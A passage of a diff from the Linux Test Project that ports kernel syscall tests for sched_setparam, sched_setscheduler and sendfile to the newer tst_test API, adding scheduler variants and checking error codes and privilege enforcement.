-			tst_resm(TWARN, "sched_getparam() returned priority"
-				 " value as %d", p.sched_priority);
-			return 0;
-		}
-	}
-
-	tst_resm(TWARN, "sched_getparam() failed");
-	return 0;
-}
+static struct tst_test test = {
+	.forks_child = 1,
+	.needs_root = 1,
+	.setup = setup,
+	.test_variants = ARRAY_SIZE(sched_variants),
+	.test_all = run,
+};
diff --git a/testcases/kernel/syscalls/sched_setparam/sched_setparam04.c b/testcases/kernel/syscalls/sched_setparam/sched_setparam04.c
index f6e017d..dbcb3c5 100644
--- a/testcases/kernel/syscalls/sched_setparam/sched_setparam04.c
+++ b/testcases/kernel/syscalls/sched_setparam/sched_setparam04.c
@@ -1,169 +1,66 @@
+// SPDX-License-Identifier: GPL-2.0-only
 /*
+ * Copyright (c) 2021, BELLSOFT. All rights reserved.
  * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- *
+ * AUTHOR: Saji Kumar.V.R <saji.kumar@wipro.com>
  */
- /*******************************************************************
- *
- *    TEST IDENTIFIER   : sched_setparam04
- *
- *    EXECUTED BY       : anyone
- *
- *    TEST TITLE        : testing error conditions for sched_setparam(2)
- *
- *    TEST CASE TOTAL   : 4
- *
- *    AUTHOR            : Saji Kumar.V.R <saji.kumar@wipro.com>
- *
- *    SIGNALS
- *      Uses SIGUSR1 to pause before test if option set.
- *      (See the parse_opts(3) man page).
- *
- * DESCRIPTION
- * 	Verify that,
- *   1) sched_setparam(2) returns -1 and sets errno to ESRCH if the
- *	process with specified pid could not be found
- *   2) sched_setparam(2) returns -1 and sets errno to EINVAL if
- *	the parameter pid is an invalid value (-1)
- *   3) sched_setparam(2) returns -1 and sets errno to EINVAL if the
- *	parameter p is an invalid address
- *   4) sched_setparam(2) returns -1 sets errno to EINVAL if the
- *	value for p.sched_priority is other than 0 for scheduling
- *	policy, SCHED_OTHER
- *
- * ALGORITHM
- * Setup:
- *   Setup signal handling.
- *   Pause for SIGUSR1 if option specified.
- *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if (system call failed (return=-1)) &
- *			   (errno set == expected errno)
- *              Issue sys call fails with expected return value and errno.
- *   Otherwise,
- *      Issue sys call returns unexpected value.
- *
- *  Cleanup:
- *        Print errno log and/or timing stats if options given
- *
- * USAGE:  <for command-line>
- *  sched_setparam04 [-c n] [-e] [-i n] [-I x] [-P x] [-t] [-h] [-f] [-p]
- *		where,  -c n : Run n copies concurrently.
- *			-e   : Turn on errno logging.
- *			-h   : Show help screen
- *			-f   : Turn off functional testing
- *			-i n : Execute test n times.
- *			-I x : Execute test for x seconds.
- *			-p   : Pause for SIGUSR1 before starting
- *			-P x : Pause for x seconds between iterations.
- *			-t   : Turn on syscall timing.
- *
- *********************************************************************/
 
-#include <errno.h>
-#include <sched.h>
-#include <pwd.h>
-#include "test.h"
+/*\
+ * [Description]
+ *
+ * Verify that:
+ * 1. sched_setparam(2) returns -1 and sets errno to ESRCH if the
+ *    process with specified pid could not be found
+ * 2. sched_setparam(2) returns -1 and sets errno to EINVAL if
+ *    the parameter pid is an invalid value (-1)
+ * 3. sched_setparam(2) returns -1 and sets errno to EINVAL if the
+ *    parameter p is an invalid address
+ * 4. sched_setparam(2) returns -1 sets errno to EINVAL if the
+ *    value for p.sched_priority is other than 0 for scheduling
+ *    policy, SCHED_OTHER
+ */
 
-static void cleanup(void);
-static void setup(void);
+#include "tst_test.h"
+#include "tst_sched.h"
 
-static struct sched_param param = { 0 };
-static struct sched_param param1 = { 1 };
-
-char *TCID = "sched_setparam04";
+static struct sched_param p = { .sched_priority = 0 };
+static struct sched_param p1 = { .sched_priority = 1 };
 
 static pid_t unused_pid;
 static pid_t inval_pid = -1;
 static pid_t zero_pid;
 
-static struct test_case_t {
+static struct test_cases_t {
 	char *desc;
 	pid_t *pid;
 	struct sched_param *p;
 	int exp_errno;
-	char err_desc[10];
-} test_cases[] = {
+} tcases[] = {
 	{
-	"test with non-existing pid", &unused_pid, &param, ESRCH, "ESRCH"}, {
-	"test invalid pid value", &inval_pid, &param, EINVAL, "EINVAL"}, {
-	"test with invalid address for p", &zero_pid, NULL, EINVAL, "EINVAL"}, {
-	"test with invalid p.sched_priority", &zero_pid, &param1, EINVAL,
-		    "EINVAL"}
+	"test with non-existing pid", &unused_pid, &p, ESRCH}, {
+	"test invalid pid value", &inval_pid, &p, EINVAL,}, {
+	"test with invalid address for p", &zero_pid, NULL, EINVAL}, {
+	"test with invalid p.sched_priority", &zero_pid, &p1, EINVAL}
 };
 
-int TST_TOTAL = sizeof(test_cases) / sizeof(test_cases[0]);
-
-int main(int ac, char **av)
+static void setup(void)
 {
-	int lc, ind;
+	tst_res(TINFO, "Testing %s variant", sched_variants[tst_variant].desc);
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();		/* global setup */
-
-	/* The following loop checks looping state if -i option given */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		for (ind = 0; ind < TST_TOTAL; ind++) {
-			/*
-			 * call the system call with the TEST() macro
-			 */
-			TEST(sched_setparam(*(test_cases[ind].pid),
-					    test_cases[ind].p));
-
-			if ((TEST_RETURN == -1) &&
-			    (TEST_ERRNO == test_cases[ind].exp_errno)) {
-				tst_resm(TPASS, "expected failure; Got %s",
-					 test_cases[ind].err_desc);
-			} else {
-				tst_resm(TFAIL, "Call failed to produce "
-					 "expected error;  Expected errno: %d "
-					 "Got : %d, %s",
-					 test_cases[ind].exp_errno,
-					 TEST_ERRNO, strerror(TEST_ERRNO));
-			}
-		}
-	}
-
-	cleanup();
-
-	tst_exit();
+	unused_pid = tst_get_unused_pid();
 }
 
-/*
- * setup() - performs all the ONE TIME setup for this test.
- */
-void setup(void)
+static void run(unsigned int n)
 {
-	unused_pid = tst_get_unused_pid(cleanup);
+	struct sched_variant *tv = &sched_variants[tst_variant];
+	struct test_cases_t *tc = &tcases[n];
 
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
+	TST_EXP_FAIL(tv->sched_setparam(*tc->pid, tc->p), tc->exp_errno, "%s", tc->desc);
 }
 
-/*
- * cleanup() -  performs all the ONE TIME cleanup for this test at completion
- *		or premature exit.
- */
-void cleanup(void)
-{
-
-}
+static struct tst_test test = {
+	.setup = setup,
+	.test = run,
+	.test_variants = ARRAY_SIZE(sched_variants),
+	.tcnt = ARRAY_SIZE(tcases),
+};
diff --git a/testcases/kernel/syscalls/sched_setparam/sched_setparam05.c b/testcases/kernel/syscalls/sched_setparam/sched_setparam05.c
index 8534846..0a49ecc 100644
--- a/testcases/kernel/syscalls/sched_setparam/sched_setparam05.c
+++ b/testcases/kernel/syscalls/sched_setparam/sched_setparam05.c
@@ -1,178 +1,51 @@
+// SPDX-License-Identifier: GPL-2.0-only
 /*
+ * Copyright (c) 2021, BELLSOFT. All rights reserved.
  * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
+ * AUTHOR: Saji Kumar.V.R <saji.kumar@wipro.com>
  */
-/**********************************************************
- *
- *    TEST IDENTIFIER	: sched_setparam05
- *
- *    EXECUTED BY	: root/superuser
- *
- *    TEST TITLE	: verify that sched_setparam() fails if the user does
- *			  not have proper privilages
- *
- *    TEST CASE TOTAL	: 1
- *
- *    AUTHOR		: Saji Kumar.V.R <saji.kumar@wipro.com>
- *
- *    SIGNALS
- * 	Uses SIGUSR1 to pause before test if option set.
- * 	(See the parse_opts(3) man page).
- *
- *    DESCRIPTION
- *	Verify that sched_setparam() fails if the user does
- *	not have proper privilages
- *
- * 	Setup:
- * 	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- * 	Test:
- *	 Loop if the proper options are given.
- *	 Fork a child
- *
- *	 CHILD:
- *	  Changes euid to "nobody" user.
- *	  Try to Change scheduling priority for parent
- *	  If call failed with errno = EPERM,
- *		Test passed
- *	  else
- *		Test failed
- *
- *	 PARENT:
- *		wait for child to finish
- *
- * 	Cleanup:
- * 	  Print errno log and/or timing stats if options given
- *
- * USAGE:  <for command-line>
- *  sched_setparam05 [-c n] [-e] [-i n] [-I x] [-P x] [-t] [-h] [-f] [-p]
- *			where,  -c n : Run n copies concurrently.
- *				-e   : Turn on errno logging.
- *				-h   : Show help screen
- *				-f   : Turn off functional testing
- *				-i n : Execute test n times.
- *				-I x : Execute test for x seconds.
- *				-p   : Pause for SIGUSR1 before starting
- *				-P x : Pause for x seconds between iterations.
- *				-t   : Turn on syscall timing.
- *
- ****************************************************************/
 
-#include <errno.h>
-#include <sched.h>
+/*\
+ * [Description]
+ *
+ * Verify that sched_setparam() fails if the user does not have proper
+ * privileges.
+ */
+
+#include <stdlib.h>
 #include <pwd.h>
-#include <sys/wait.h>
-#include "test.h"
 
-static void setup();
-static void cleanup();
+#include "tst_test.h"
+#include "tst_sched.h"
 
-char *TCID = "sched_setparam05";
-int TST_TOTAL = 1;
-
-static struct sched_param param = { 0 };
-
-static char nobody_uid[] = "nobody";
-struct passwd *ltpuser;
-
-int main(int ac, char **av)
+static void run(void)
 {
+	struct sched_variant *tv = &sched_variants[tst_variant];
+	pid_t child_pid = SAFE_FORK();
 
-	int lc;
-	int status;
-	pid_t child_pid;
+	if (!child_pid) {
+		struct sched_param p = { .sched_priority = 0 };
+		struct passwd *pw = SAFE_GETPWNAM("nobody");
 
-	tst_parse_opts(ac, av, NULL, NULL);
+		SAFE_SETEUID(pw->pw_uid);
+		TST_EXP_FAIL(tv->sched_setparam(getppid(), &p), EPERM,
+			     "sched_setparam(%d, 0)", getppid());
 
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		switch (child_pid = FORK_OR_VFORK()) {
-
-		case -1:
-			/* fork() failed */
-			tst_resm(TFAIL, "fork() failed");
-			continue;
-
-		case 0:
-			/* Child */
-
-			/* Switch to nobody user */
-			if ((ltpuser = getpwnam(nobody_uid)) == NULL) {
-				tst_brkm(TBROK, NULL, "\"nobody\" user"
-					 "not present");
-			}
-			if (seteuid(ltpuser->pw_uid) == -1) {
-				tst_resm(TWARN, "seteuid failed to "
-					 "to set the effective uid to %d",
-					 ltpuser->pw_uid);
-				exit(1);
-			}
-
-			/*
-			 * Call sched_setparam(2) with pid = getppid()
-			 */
-			TEST(sched_setparam(getppid(), &param));
-
-			if ((TEST_RETURN == -1) && (TEST_ERRNO == EPERM)) {
-				exit(0);
-			}
-
-			tst_resm(TWARN | TTERRNO,
-				 "Test failed, sched_setparam()"
-				 " returned : %ld", TEST_RETURN);
-			exit(1);
-
-		default:
-			/* Parent */
-			if ((waitpid(child_pid, &status, 0)) < 0) {
-				tst_resm(TFAIL, "wait() failed");
-				continue;
-			}
-			if ((WIFEXITED(status)) && (WEXITSTATUS(status) == 0)) {
-				tst_resm(TPASS, "Test passed, Got EPERM");
-			} else {
-				tst_resm(TFAIL, "Test Failed");
-			}
-		}
+		exit(0);
 	}
 
-	cleanup();
-	tst_exit();
+	tst_reap_children();
 }
 
-/* setup() - performs all ONE TIME setup for this test */
-void setup(void)
+static void setup(void)
 {
-
-	tst_require_root();
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
+	tst_res(TINFO, "Testing %s variant", sched_variants[tst_variant].desc);
 }
 
-/*
- *cleanup() -  performs all ONE TIME cleanup for this test at
- *		completion or premature exit.
- */
-void cleanup(void)
-{
-}
+static struct tst_test test = {
+	.needs_root = 1,
+	.forks_child = 1,
+	.setup = setup,
+	.test_variants = ARRAY_SIZE(sched_variants),
+	.test_all = run,
+};
diff --git a/testcases/kernel/syscalls/sched_setscheduler/sched_setscheduler01.c b/testcases/kernel/syscalls/sched_setscheduler/sched_setscheduler01.c
index 1cbce15..4e48de8 100644
--- a/testcases/kernel/syscalls/sched_setscheduler/sched_setscheduler01.c
+++ b/testcases/kernel/syscalls/sched_setscheduler/sched_setscheduler01.c
@@ -1,160 +1,79 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) 2021, BELLSOFT. All rights reserved.
+ * Copyright (c) International Business Machines  Corp., 2001
  */
 
-/*
- * NAME
- *	sched_setscheduler01.c
+/*\
+ * [Description]
  *
- * DESCRIPTION
- *	Testcase to test whether sched_setscheduler(2) sets the errnos
- *	correctly.
+ * Testcase to test whether sched_setscheduler(2) sets the errnos
+ * correctly.
  *
- * ALGORITHM
- *	1.	Call sched_setscheduler with an invalid pid, and expect
- *	ESRCH to be returned.
- *	2.	Call sched_setscheduler with an invalid scheduling policy,
- *	and expect EINVAL to be returned.
- *	3.	Call sched_setscheduler with an invalid "param" address,
- *	which lies outside the address space of the process, and expect
- *	EFAULT to be returned.
- *	4.	Call sched_setscheduler with an invalid priority value
- *	in "param" and expect EINVAL to be returned
+ * [Algorithm]
  *
- * USAGE:  <for command-line>
- *  sched_setscheduler01 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *             -i n : Execute test n times.
- *             -I x : Execute test for x seconds.
- *             -P x : Pause for x seconds between iterations.
- *             -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS
- *	None
+ * 1. Call sched_setscheduler with an invalid pid, and expect
+ *    ESRCH to be returned.
+ * 2. Call sched_setscheduler with an invalid scheduling policy,
+ *    and expect EINVAL to be returned.
+ * 3. Call sched_setscheduler with an invalid "param" address,
+ *    which lies outside the address space of the process, and expect
+ *    EFAULT to be returned.
+ * 4. Call sched_setscheduler with an invalid priority value
+ *    in "param" and expect EINVAL to be returned
  */
+
 #include <stdio.h>
 #include <errno.h>
-#include <sched.h>
 #include <pwd.h>
-#include "test.h"
+
+#include "tst_test.h"
+#include "tst_sched.h"
 
 #define SCHED_INVALID	99
 
-char *TCID = "sched_setscheduler01";
-
-struct sched_param param;
-struct sched_param param1 = { 1 };
-
-void setup(void);
-void cleanup(void);
-
+static struct sched_param p;
+static struct sched_param p1 = { .sched_priority = 1 };
 static pid_t unused_pid;
 static pid_t init_pid = 1;
 static pid_t zero_pid;
 
-struct test_case_t {
+struct test_cases_t {
 	pid_t *pid;
 	int policy;
 	struct sched_param *p;
 	int error;
-} TC[] = {
+} tcases[] = {
 	/* The pid is invalid - ESRCH */
-	{
-	&unused_pid, SCHED_OTHER, &param, ESRCH},
-	    /* The policy is invalid - EINVAL */
-	{
-	&init_pid, SCHED_INVALID, &param, EINVAL},
-#ifndef UCLINUX
-	    /* Skip since uClinux does not implement memory protection */
-	    /* The param address is invalid - EFAULT */
-	{
-	&init_pid, SCHED_OTHER, (struct sched_param *)-1, EFAULT},
-#endif
-	    /* The priority value in param invalid - EINVAL */
-	{
-	&zero_pid, SCHED_OTHER, &param1, EINVAL}
+	{&unused_pid, SCHED_OTHER, &p, ESRCH},
+	/* The policy is invalid - EINVAL */
+	{&init_pid, SCHED_INVALID, &p, EINVAL},
+	/* The param address is invalid - EFAULT */
+	{&init_pid, SCHED_OTHER, (struct sched_param *)-1, EFAULT},
+	/* The priority value in param invalid - EINVAL */
+	{&zero_pid, SCHED_OTHER, &p1, EINVAL}
 };
 
-int TST_TOTAL = ARRAY_SIZE(TC);
-
-int main(int ac, char **av)
+static void setup(void)
 {
-	int lc;
+	tst_res(TINFO, "Testing %s variant", sched_variants[tst_variant].desc);
 
-	int i;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		setup();
-
-		/* loop through the test cases */
-		for (i = 0; i < TST_TOTAL; i++) {
-
-			TEST(sched_setscheduler(*(TC[i].pid), TC[i].policy,
-						TC[i].p));
-
-			if (TEST_RETURN != -1) {
-				tst_resm(TFAIL, "call succeeded unexpectedly");
-				continue;
-			}
-
-			if (TEST_ERRNO == TC[i].error) {
-				tst_resm(TPASS, "expected failure - "
-					 "errno = %d : %s", TEST_ERRNO,
-					 strerror(TEST_ERRNO));
-			} else {
-				tst_resm(TFAIL, "unexpected error - %d : %s - "
-					 "expected %d", TEST_ERRNO,
-					 strerror(TEST_ERRNO), TC[i].error);
-			}
-		}
-	}
-	cleanup();
-
-	tst_exit();
-
+	unused_pid = tst_get_unused_pid();
 }
 
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
-void setup(void)
+static void run(unsigned int n)
 {
-	unused_pid = tst_get_unused_pid(cleanup);
+	struct sched_variant *tv = &sched_variants[tst_variant];
+	struct test_cases_t *tc = &tcases[n];
 
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
+	TST_EXP_FAIL(tv->sched_setscheduler(*tc->pid, tc->policy, tc->p),
+		     tc->error, "sched_setscheduler(%d, %d, %p)",
+		     *tc->pid, tc->policy, tc->p);
 }
 
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *	       completion or premature exit.
- */
-void cleanup(void)
-{
-
-}
+static struct tst_test test = {
+	.setup = setup,
+	.test_variants = ARRAY_SIZE(sched_variants),
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = run,
+};
diff --git a/testcases/kernel/syscalls/sched_setscheduler/sched_setscheduler02.c b/testcases/kernel/syscalls/sched_setscheduler/sched_setscheduler02.c
index 36952d9..66f7270 100644
--- a/testcases/kernel/syscalls/sched_setscheduler/sched_setscheduler02.c
+++ b/testcases/kernel/syscalls/sched_setscheduler/sched_setscheduler02.c
@@ -1,148 +1,62 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) 2021, BELLSOFT. All rights reserved.
+ * Copyright (c) International Business Machines  Corp., 2001
  */
 
-/*
- * NAME
- *	sched_setscheduler01.c
+/*\
+ * [Description]
  *
- * DESCRIPTION
- *	Testcase to test whether sched_setscheduler(2) sets the errnos
- *	correctly.
+ * Testcase to test whether sched_setscheduler(2) sets the errnos
+ * correctly.
  *
- * ALGORITHM
- *	1.	Call sched_setscheduler as a non-root uid, and expect EPERM
- *	to be returned.
+ * [Algorithm]
  *
- * USAGE:  <for command-line>
- *  sched_setscheduler02 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *             -i n : Execute test n times.
- *             -I x : Execute test for x seconds.
- *             -P x : Pause for x seconds between iterations.
- *             -t   : Turn on syscall timing.
+ * Call sched_setscheduler as a non-root uid, and expect EPERM
+ * to be returned.
  *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS
- *	Must run test as root.
  */
-#include <stdio.h>
+
+#include <stdlib.h>
 #include <errno.h>
-#include <sched.h>
 #include <pwd.h>
 #include <sys/types.h>
-#include <sys/wait.h>
 
-#include "test.h"
-#include "safe_macros.h"
-
-#define SCHED_INVALID	99
-#define INVALID_PID	999999
-
-char *TCID = "sched_setscheduler02";
-int TST_TOTAL = 1;
-
-void setup(void);
-void cleanup(void);
+#include "tst_test.h"
+#include "tst_sched.h"
 
 static uid_t nobody_uid;
 
-int main(int ac, char **av)
+static void setup(void)
 {
-	int lc;
-	pid_t pid;
-	struct sched_param param;
-	int status;
+	struct passwd *pw = SAFE_GETPWNAM("nobody");
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	tst_res(TINFO, "Testing %s variant", sched_variants[tst_variant].desc);
 
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		if ((pid = FORK_OR_VFORK()) == -1) {
-			tst_brkm(TBROK, cleanup, "fork failed");
-		}
-
-		if (pid == 0) {	/* child */
-			param.sched_priority = 1;
-
-			SAFE_SETEUID(cleanup, nobody_uid);
-
-			TEST(sched_setscheduler(pid, SCHED_FIFO, &param));
-
-			if (TEST_ERRNO) {
-			}
-
-			if (TEST_RETURN != -1) {
-				tst_resm(TFAIL, "sched_setscheduler(2) passed "
-					 "with non root priveledges");
-			} else if (TEST_ERRNO != EPERM) {
-				tst_resm(TFAIL, "Expected EPERM, got %d",
-					 TEST_ERRNO);
-			} else {
-				tst_resm(TPASS, "got EPERM");
-			}
-		} else {	/* parent */
-			/* let the child carry on */
-			wait(&status);
-			if (WIFEXITED(status) != 0) {	/* Exit with errors */
-				exit(WEXITSTATUS(status));
-			} else {
-				exit(0);
-			}
-		}
-
-		SAFE_SETEUID(cleanup, 0);
-	}
-	cleanup();
-	tst_exit();
-
-}
-
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
-void setup(void)
-{
-	struct passwd *pw;
-
-	tst_require_root();
-
-	pw = SAFE_GETPWNAM(NULL, "nobody");
 	nobody_uid = pw->pw_uid;
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
 }
 
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *	       completion or premature exit.
- */
-void cleanup(void)
+static void run(void)
 {
+	struct sched_variant *tv = &sched_variants[tst_variant];
+	pid_t pid = SAFE_FORK();
 
+	if (!pid) {
+		struct sched_param p = { .sched_priority = 1 };
+
+		SAFE_SETEUID(nobody_uid);
+		TST_EXP_FAIL(tv->sched_setscheduler(0, SCHED_FIFO, &p), EPERM,
+			     "sched_setscheduler(0, SCHED_FIFO, %d)",
+			     p.sched_priority);
+		exit(0);
+	}
+	tst_reap_children();
 }
+
+static struct tst_test test = {
+	.forks_child = 1,
+	.needs_root = 1,
+	.setup = setup,
+	.test_variants = ARRAY_SIZE(sched_variants),
+	.test_all = run,
+};
diff --git a/testcases/kernel/syscalls/sched_setscheduler/sched_setscheduler03.c b/testcases/kernel/syscalls/sched_setscheduler/sched_setscheduler03.c
index 9045d03..3de681e 100644
--- a/testcases/kernel/syscalls/sched_setscheduler/sched_setscheduler03.c
+++ b/testcases/kernel/syscalls/sched_setscheduler/sched_setscheduler03.c
@@ -17,13 +17,13 @@
 #include <stdio.h>
 #include <errno.h>
 #include <pwd.h>
-#include <sched.h>
 #include <sys/time.h>
 #include <sys/resource.h>
 #include <sys/wait.h>
 #include <stdlib.h>
 
 #include "tst_test.h"
+#include "tst_sched.h"
 
 #define RLIMIT_NICE_NORMAL 20
 
@@ -92,26 +92,25 @@
 
 static void verify_fn(unsigned int i)
 {
-	tst_res(TINFO,
-		"Verifying case[%d]: policy = %d, priority = %d",
+	struct sched_variant *tv = &sched_variants[tst_variant];
+
+	tst_res(TINFO, "Verifying case[%d]: policy = %d, priority = %d",
 		i + 1, cases[i].policy, cases[i].sched_param->sched_priority);
 
-	TEST(sched_setscheduler(*cases[i].pid, cases[i].policy,
-					cases[i].sched_param));
-	if (TST_RET)
-		tst_res(TFAIL | TTERRNO, "case[%d] expected: %d, got: ",
-			i + 1, cases[i].error);
-	else
-		tst_res(TPASS, "case[%d] succeeded", i + 1);
+	TST_EXP_PASS(tv->sched_setscheduler(*cases[i].pid, cases[i].policy,
+		     cases[i].sched_param));
 }
 
 static void setup(void)
 {
+	struct sched_variant *tv = &sched_variants[tst_variant];
 	uid_t ruid, euid, suid;
 	struct rlimit limit;
 	struct passwd *pw;
 	uid_t nobody_uid;
 
+	tst_res(TINFO, "Testing %s variant", tv->desc);
+
 	pw = SAFE_GETPWNAM("nobody");
 	nobody_uid = pw->pw_uid;
 	l_rlimit_show(RLIMIT_NICE, &limit);
@@ -129,12 +128,10 @@
 	l_rlimit_setup(RLIMIT_NICE, &limit);
 
 	tst_res(TINFO, "Setting init sched policy to SCHED_OTHER");
-	if (sched_setscheduler(0, SCHED_OTHER, &param[0]) != 0)
-		tst_res(TFAIL | TERRNO,
-			 "ERROR sched_setscheduler: (0, SCHED_OTHER, param)");
-
-	if (sched_getscheduler(0) != SCHED_OTHER)
-		tst_res(TFAIL | TERRNO, "ERROR sched_setscheduler");
+	if (tv->sched_setscheduler(0, SCHED_OTHER, &param[0]))
+		tst_brk(TBROK | TERRNO, "sched_setscheduler(0, SCHED_OTHER, 0)");
+	if (tv->sched_getscheduler(0) != SCHED_OTHER)
+		tst_brk(TBROK | TERRNO, "sched_getscheduler(0) != SCHED_OTHER");
 
 	tst_res(TINFO, "Setting euid to nobody to drop privilege");
 
@@ -159,6 +156,7 @@
 }
 
 static struct tst_test test = {
+	.test_variants = ARRAY_SIZE(sched_variants),
 	.tcnt = ARRAY_SIZE(cases),
 	.test = do_test,
 	.setup = setup,
diff --git a/testcases/kernel/syscalls/select/select_var.h b/testcases/kernel/syscalls/select/select_var.h
index a17b2fd..a945fa6 100644
--- a/testcases/kernel/syscalls/select/select_var.h
+++ b/testcases/kernel/syscalls/select/select_var.h
@@ -5,8 +5,8 @@
 #ifndef SELECT_VAR__
 #define SELECT_VAR__
 
-#include "lapi/syscalls.h"
 #include "tst_timer.h"
+#include "lapi/syscalls.h"
 
 struct compat_sel_arg_struct {
 	long _n;
diff --git a/testcases/kernel/syscalls/sendfile/Makefile b/testcases/kernel/syscalls/sendfile/Makefile
index f63a42f..7ee7bbe 100644
--- a/testcases/kernel/syscalls/sendfile/Makefile
+++ b/testcases/kernel/syscalls/sendfile/Makefile
@@ -6,6 +6,6 @@
 include $(top_srcdir)/include/mk/testcases.mk
 include $(abs_srcdir)/../utils/newer_64.mk
 
-%_64: CPPFLAGS += -D_FILE_OFFSET_BITS=64 -DOFF_T=off64_t -D_GNU_SOURCE
+%_64: CPPFLAGS += -D_FILE_OFFSET_BITS=64 -D_GNU_SOURCE
 
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/sendfile/sendfile02.c b/testcases/kernel/syscalls/sendfile/sendfile02.c
index e5f1151..ffd6548 100644
--- a/testcases/kernel/syscalls/sendfile/sendfile02.c
+++ b/testcases/kernel/syscalls/sendfile/sendfile02.c
@@ -1,289 +1,91 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) International Business Machines  Corp., 2001
+ * 07/2001 Ported by Wayne Boyer
+ * 08/2002 Make it use a socket so it works with 2.5 kernel
+ * Copyright (c) 2021 Xie Ziyao <xieziyao@huawei.com>
  */
 
-/*
- * NAME
- *	sendfile02.c
+/*\
+ * [Description]
  *
- * DESCRIPTION
- *	Testcase to test the basic functionality of the sendfile(2) system call.
+ * Test the basic functionality of the sendfile() system call:
  *
- * ALGORITHM
- *	1. call sendfile(2) with offset = 0
- *	2. call sendfile(2) with offset in the middle of the file
- *
- * USAGE:  <for command-line>
- *  sendfile02 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,
- *             -f   : Turn off functionality Testing.
- *             -i n : Execute test n times.
- *             -I x : Execute test for x seconds.
- *             -P x : Pause for x seconds between iterations.
- *             -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *	08/2002 Make it use a socket so it works with 2.5 kernel
- *
- * RESTRICTIONS
- *	NONE
+ * 1. Call sendfile() with offset = 0.
